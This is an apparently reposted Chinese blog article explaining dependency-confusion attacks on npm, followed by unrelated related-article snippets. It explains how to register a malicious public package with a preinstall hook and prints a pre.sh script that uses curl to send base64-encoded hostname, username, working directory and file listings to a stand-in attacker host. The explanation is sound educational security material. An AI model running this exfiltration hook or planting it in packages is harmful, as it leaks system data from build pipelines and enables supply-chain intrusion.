由混淆依赖所引起的RCE

正文

正常情况下

在一个正常的开发和部署环境中,package.json 文件和相关脚本被用来管理项目依赖、定义项目设置以及执行常规的构建或部署任务。一个典型的正常请求过程可能如下:

1.安装依赖:

#现代有很多人用yarn,pnpm等替代npm,不管怎么说,但是他们都是从同一个中央文件库(如NPM官方仓库)里面下载依赖
npm install

这个命令根据package.json中列出的依赖项安装所需的库。这些库来自于可信的、经过验证的来源(如NPM官方仓库)。

2.执行脚本:

在package.json中,可能定义了多种脚本用于测试、构建或部署,例如:

"scripts": {"test": "echo \"Error: no test specified\" && exit 1"
}

执行测试脚本:

npm test

这会运行定义在test脚本中的命令,通常这些脚本用于运行单元测试或其他验证检查。

受到攻击后

在受到依赖混淆攻击的情况下,package.json中的依赖可能指向了恶意代码或脚本,攻击者利用这一点在CI/CD流程中执行非授权代码。攻击示例可能如下:

恶意依赖安装:

如果攻击者在公共仓库中注册了一个与私有依赖同名的包,并且该包包含恶意代码,那么在执行:

npm install

的时候,可能会错误地从公共仓库下载并安装这个恶意包,而不是原本预期的私有包。

执行恶意脚本

如果package.json的preinstall脚本被指向攻击者控制的脚本,如:

"scripts": {"preinstall": "./pre.sh"
}

其中pre.sh可能包含以下内容:

#!/bin/bashcurl -H "Hostname: $(hostname | base64)" -H "Whoami: $(whoami | base64)" -H "Pwd: $(pwd | base64)" -d $(ls -la | base64)  http://yourvps.com

这个脚本会在安装依赖前执行,发送关键的系统信息到攻击者的服务器,甚至可能包括敏感的环境数据。

整个攻击流程

环节 1:发现未声明的依赖项

攻击者在调查其他安全问题时,获取到了目标系统的package.json文件(这种文件可以通过暴力破解目录的方式获取比如Dirsearch或者是ffuf等)。通过分析这个文件,攻击者发现了一个未在公共NPM仓库中注册的依赖名。这个依赖可能是私有的,或者没有被正确声明。

常见的分析文件的工具如: https://github.com/visma-prodsec/confused

环节 2:注册和创建恶意包

利用依赖混淆:

攻击者在公共NPM仓库中注册了未声明的依赖名,并上传了一个包含恶意代码的包。这个恶意包包含了攻击者设计的脚本和代码,旨在执行特定的恶意操作。

环节 3:执行恶意代码

恶意脚本的植入和触发:

攻击者在恶意包中包括了一个preinstall脚本(pre.sh),这个脚本在包安装之前自动执行。脚本内容可能包括发送敏感信息到攻击者服务器的命令,如系统用户名、主机名和当前目录等。

当目标组织的CI/CD流程自动安装依赖时,由于名称混淆,CI/CD系统会从公共仓库下载并安装攻击者的恶意包而不是原本预期的私有或正确的包。

环节 4:信息收集与进一步的利用

数据泄露和系统访问:

pre.sh脚本执行时,会通过curl命令发送编码后的系统信息到攻击者控制的服务器。攻击者可以利用这些信息进行进一步的攻击,例如通过收集的信息进行针对性的进一步渗透或发起更具破坏性的攻击。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/6785.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SpringTask定时任务

SpringBoot项目定时任务 首先在启动类引入注解EnableScheduling然后在方法中加注解Scheduled(cron“”)cron表达式 生成cron https://www.pppet.net/

流畅的Python阅读笔记

五一快乐的时光总是飞快了,不知多久没有拿起键盘写文章了,最近公司有Python的需求,想着复习下Python吧,然后就买了本Python的书籍 书名: 《流畅的Python》 下面是整理的一个阅读笔记,大家自行查阅&#xf…

【Qt QML】Frame组件

Frame(框架)包含在: import QtQuick.Controls继承自Pane控件。用于在可视框架内布局一组逻辑控件。简单来说就是用来包裹和突出显示其他可视元素。Frame不提供自己的布局,但需要自己对元素位置进行设置和定位,例如通过…

Numerical Analysis(byRichard.L..Burden)【pdf高清英文原版】

专栏导读 作者简介:工学博士,高级工程师,专注于工业软件算法研究本文已收录于专栏:《有限元编程从入门到精通》本专栏旨在提供 1.以案例的形式讲解各类有限元问题的程序实现,并提供所有案例完整源码;2.单元…

基于TL431基准电压源的可调恒压恒流源的Multisim电路仿真设计

1、线性电源的工作原理 在我们日常应用里,直流电是从市电或电网中的交流电获取的。例如15V直流电压源、24V直流电压源等等。交流电变为直流电的过程大概分为一下几步: 首先,交流电通过变压器降低其电压幅值。接着,经过整流电路进…

Transformer和TensorFlow的区别

Transformer和TensorFlow是两个不同层面的概念,Transformer是一种深度学习模型架构,而TensorFlow是一个开源的机器学习框架,可以用来实现包括Transformer在内的各种深度学习模型。 Transformer Transformer模型最初是在2017年的论文《Atten…

three.js是啥

three.js是一个基于WebGL的JavaScript 3D库,它可以在浏览器中创建和显示动画的3D图形。这个库提供了许多工具和函数,使得开发者可以更容易地创建复杂的3D场景,包括摄像机、光影、材质等各种对象。 three.js被广泛应用于各种领域,如…

基于机器学习的网络流量识别分类

1.cicflowmeter的目录框架: 各部分具体代码 FlowMgr类: package cic.cs.unb.ca.flow;import cic.cs.unb.ca.Sys; import org.slf4j.Logger; import org.slf4j.LoggerFactory;import java.time.LocalDate;public class FlowMgr {protected static final…

项目管理【人】概述

系列文章目录 【引论一】项目管理的意义 【引论二】项目管理的逻辑 【环境】概述 【环境】原则 【环境】任务 【环境】绩效 【人】概述 一、项目涉及到的人 1.1 项目发起人、项目指导委员会和变更控制委员会 项目发起人(Sponsor) 项目指导委员会&…

JVM笔记4-虚拟机类加载机制

1、概述 Java虚拟机把描述类的数据从Class文件加载到内存中,并对数据进行检验、转换解析和初始化,最终形成可以被虚拟机直接使用的Java类型。这个过程称为虚拟机的类加载机制。 2、类加载的时机 一个类型从被加载到内存中开始,到卸载出内存…

使用socket+Python实现ping

import os import socket import struct import select import time# 计算校验和&#xff0c;用于确保数据的完整性 def checksum(source_string):sum 0count 0max_count len(source_string)# 处理成对的字节while count < max_count - 1:val source_string[count 1] *…

5.5代码

目录 1.内存空间 1.内存空间 真的要吐了&#xff0c;人都麻了题还没看完&#xff0c;看样子就是要想办法提取出来想要的东西2022第十三届蓝桥杯决赛C/C大学A组-C题内存空间_蓝桥杯a组c语言题目-CSDN博客 这个是一个非常清晰的代码&#xff0c;好几个帖子都管这个题叫大模拟题…

开源版本管理系统的搭建二:SVN部署及使用

作者&#xff1a;私语茶馆 1. Visual SVN Server部署 SVN Server部署包括&#xff1a; 创建版本仓库创建用户 这些部署是通过VisualSVN Server Manager实现的&#xff0c;如下图&#xff1a; VisualSVN Server Manager&#xff08;安装后自带&#xff09; 1.1.SVN 初始化配…

【QEMU系统分析之实例篇(十五)】

系列文章目录 第十五章 QEMU系统仿真的机器创建分析实例 文章目录 系列文章目录第十五章 QEMU系统仿真的机器创建分析实例 前言一、QEMU是什么&#xff1f;二、QEMU系统仿真的机器创建分析实例1.系统仿真的命令行参数2.应用旧的机器设置项qemu_apply_legacy_machine_options()…

ROS2学习——Docker环境下安装于使用(1)

目录 一、简要 二、ROS2和ROS1区别 三、环境搭建与安装 &#xff08;2&#xff09;拉取ubuntu22.04镜像 &#xff08;2&#xff09;安装ROS2 1. 基本设置 2.设置源 3.安装ROS2功能包 4.测试 四、相关指令学习 1.小海龟测试 2.ros2 node等指令 3.rqt 一、简要 随着R…

Git常用(持续更新)

常用场景&#xff1a; 初始化&#xff1a; git config --global user.name "codelabs" git config --global user.email mycodelabs.com git init git remote add origin https://github.com/username/repository.git git pull origin master 提交&#xff1a; gi…

踏春正当时!VELO Prevail Ride带你探索多元骑行潮流体验~

嘿&#xff0c;朋友&#xff01;踏春正当时嘞&#xff01;在这个追求个性化与多元化的新时代&#xff0c;骑行爱好者们也开始寻找能适应各种骑行场景的理想坐垫。从悠闲自在的日常通勤&#xff0c;到热血沸腾的公路竞速&#xff0c;再到勇攀高峰的山地探险&#xff0c;维乐VELO…

HNU-人工智能-实验3-贝叶斯分类器

人工智能-实验3 计科210x 甘晴void 【感悟】本实验值得自己完成一遍 文章目录 人工智能-实验3一、实验目的二、实验平台三、实验内容3.0 基础知识3.1 条件概率&#xff08;选择题&#xff09;3.2 贝叶斯公式&#xff08;选择题&#xff09;3.3 朴素贝叶斯分类算法流程3.3.1 算…

多线程系列(三) -synchronized 关键字使用详解

一、简介 在之前的线程系列文章中&#xff0c;我们介绍了线程创建的几种方式以及常用的方法介绍。 今天我们接着聊聊多线程线程安全的问题&#xff0c;以及解决办法。 实际上&#xff0c;在多线程环境中&#xff0c;难免会出现多个线程对一个对象的实例变量进行同时访问和操…

3-qt综合实例-贪吃蛇的游戏程序

引言&#xff1a; 如题&#xff0c;本次实践课程主要讲解贪吃蛇游戏程序。 qt贪吃蛇项目内容&#xff1a; 一、功能需求 二、界面设计 各组件使用&#xff1a; 对象名 类 说明 Widget QWidge 主窗体 btnRank QPushButton 排行榜-按钮 groupBox QGroupBox 难…